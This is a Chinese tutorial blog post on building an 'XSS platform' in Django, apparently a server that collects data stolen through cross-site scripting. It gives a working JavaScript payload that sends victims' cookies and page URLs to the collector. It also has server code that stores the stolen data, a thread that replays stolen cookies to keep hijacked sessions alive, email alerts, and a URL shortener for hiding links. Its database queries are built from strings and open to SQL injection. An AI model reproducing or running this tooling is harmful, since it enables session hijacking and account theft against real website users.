使用Django简单编写一个XSS平台的方法步骤
1) 简要描述
原理十分简单2333,代码呆萌,大牛勿喷 >_<
2) 基础知识
- XSS攻击基本原理和利用方法
- Django框架的使用
3) Let's start
0x01
工欲善其事必先利其器,首先我们需要准备编写代码的各种工具和环境,这里不细说。我这里的环境和工具如下:
- python 3.7.0
- pycharm
- windows 10
- mysql 8.0.15
- Django 2.1.3
需要用到的第三方库:
- django
- pymysql
- requests
0x02
我们先看一下XSS脚本是如何工作的
var website = "http://127.0.0.1"; (function() { (new Image()).src = website + '/?keepsession=1&location=' + escape((function() { try { return document.location.href } catch(e) { return '' } })()) + '&toplocation=' + escape((function() { try { return top.location.href } catch(e) { return '' } })()) + '&cookie=' + escape((function() { try { return document.cookie } catch(e) { return '' } })()) + '&opener=' + escape((function() { try { return (window.opener && window.opener.location.href) ? window.opener.location.href: '' } catch(e) { return '' } })()); })();
这段代码非常简单,就是通过javascript获取有用信息,然后通过访问xss平台将信息作为GET参数传给服务器。
注意:这里使用AJAX可能会出现CORS跨域问题。
0x03
先给出关键代码,其他都是Django相关的内容,这里不做相关讨论。
""" 根据url值动态返回相应的javascript代码 """ import pymysql,os from user.safeio import re_check def get_info(url): if not re_check(url,'num_letter'): return 'default' db = pymysql.connect('localhost','root','root','xss') cursor = db.cursor() cursor.execute("Select name From projects Where url='"+url+"'") js_name = cursor.fetchone()[0] if js_name == None: return 'default' else: return (js_name) def get_js_value(url): js_name = get_info(url) file = '\\script\\'+js_name + '.js' js_value = open(os.getcwd()+file).read() js_value = js_value.replace('<-1234->',url) return js_value
import pymysql,time from .getscript import get_info def connect(): try: db = pymysql.connect('localhost', 'root', 'root', 'xss') cursor = db.cursor() return db,cursor except: print('连接数据库失败,正在尝试重新连接') connect() def put_letter(requests,url): now_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))[2:] if 'HTTP_X_FORWARDED_FOR' in requests.META: ip = requests.META['HTTP_X_FORWARDED_FOR'] else: try: ip = requests.META['REMOTE_ADDR'] except: ip = '0.0.0.0' ip = ip.replace("'","\'") origin = requests.GET.get('location','Unknown').replace("'","\'") software = requests.META.get('HTTP_USER_AGENT','Unknown').replace("'","\'") method = requests.method.replace("'","\'") data = requests.GET.get('cookie','No data').replace("'","\'") keep_alive = requests.GET.get('keepsession','0').replace("'","\'") list = [now_time,ip,origin,software,method,data,keep_alive] put_mysql(list,url) def put_mysql(list,url): db,cursor = connect() name = get_info(url) cursor.execute("Select user From projects Where url='"+url+"'") user = cursor.fetchone()[0] m_query = "INSERT INTO letters(time,name,ip,origin,software,method,data,user,keep_alive) VALUES('{0}','{1}','{2}','{3}','{4}','{5}','{6}','{7}','{8}')" m_query = m_query.format(list[0],name,list[1],list[2],list[3],list[4],list[5],user,list[6]) cursor.execute(m_query) db.commit() db.close() def get_letters(username): db, cursor = connect() m_query = "SELECT * FROM letters WHERE user = '{}'" m_query = m_query.format(username) cursor.execute(m_query) result_list = cursor.fetchall() return result_list
既然我们知道了xss脚本会将信息构造通过GET的参数形式传给XSS平台,我们只需在服务器接受数据并保存即可。
0x04
我们可以为我们的平台编写新的功能以完善我们的平台,如邮件提醒,cookie活性保持等
#coding=utf-8 ''' 邮件发送 ''' import smtplib from email.mime.text import MIMEText from email.utils import formataddr my_sender='xxxx' my_pass = 'xxxx' def send_mail(user_mail): try: print(user_mail) msg=MIMEText('您点的外卖已送达,请登录平台查询','plain','utf-8') msg['From']=formataddr(["XSS平台",my_sender]) msg['To']=formataddr(["顾客",user_mail]) msg['Subject']="您点的外卖已送达,请登录平台查询" server=smtplib.SMTP_SSL("smtp.qq.com", 465) server.login(my_sender, my_pass) server.sendmail(my_sender,[user_mail,],msg.as_string()) server.quit() except Exception: pass
''' 使用独立于主线程的其他线程 来保持通用项目的cookie信息'活性' 默认保持一个小时的活性 ''' import requests,queue,time,pymysql Cookie_Time = 1 def decrease(time,number): if time < number: time = '0'+str(time) else: time = str(time) return time def count_time(now_time): global Cookie_Time year = int(now_time[0:2]) month = int(now_time[3:5]) day = int(now_time[6:8]) hours = int(now_time[9:11]) if hours < Cookie_Time: if day == 1: if month == 1: month=12 year -= 1 else: day=30 month -= 1 else: day -= 1 hours += 19 else: hours -= 5 hours = decrease(hours,10) day = decrease(day,10) month = decrease(month,10) year = decrease(year,10) dec_time = ("{0}-{1}-{2} {3}").format(year,month,day,hours) + now_time[11:] return dec_time def create_queue(): Cookie_queue = queue.Queue() now_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))[2:] dec_time = count_time(now_time) m_query = ("SELECT software,origin,data FROM letters WHERE name='default' and time>'{}' and keep_alive = '1'").format(dec_time) db = pymysql.connect('127.0.0.1','root','root','xss') cursor = db.cursor() cursor.execute(m_query) return_list = cursor.fetchall() for x in return_list: Cookie_queue.put(x) return Cookie_queue def action(): while True: time.sleep(60) task_queue = create_queue() while not task_queue.empty(): tasks = task_queue.get() url = tasks[1] ua = tasks[0] cookie = tasks[2] headers = {'User-Agent': ua, 'Cookie': cookie} try: requests.get(url, headers=headers) except: pass
注意这里需要使用独立于django主线程的子线程,比如我在manager.py里添加了这么一段代码:
import threading from xssplatform.keep_alive import action class keep_Thread(threading.Thread): def __init__(self): super(keep_Thread,self).__init__() def run(self): action() if __name__ == '__main__': th = keep_Thread() th.start()
短链接:
''' 短链接生成 接口c7.gg ''' import requests,json Headers = { "accept" : "application/json, text/javascript, */*; q=0.01", "accept-encoding" : "gzip, deflate, br", "accept-language" : "zh-CN,zh;q=0.9,en;q=0.8", "content-length" : "53", "content-type" : "application/x-www-form-urlencoded; charset=UTF-8", "origin" : "https://www.985.so", "referer" : "https://www.985.so/", "user-agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36", } def url_to_short(url): global Headers data = {'type':'c7','url':url} r = requests.post('https://create.ft12.com/done.php?m=index&a=urlCreate',data=data,headers=Headers) list = json.loads(r.text) return list['list']
4) 最后
其实看起来高大上的XSS平台原理就那么简单,真正难的部分是关于XSS跨站脚本的编写。
此项目已开源于 Github,有任何问题可以提交issue,我会在第一时间进行回复。
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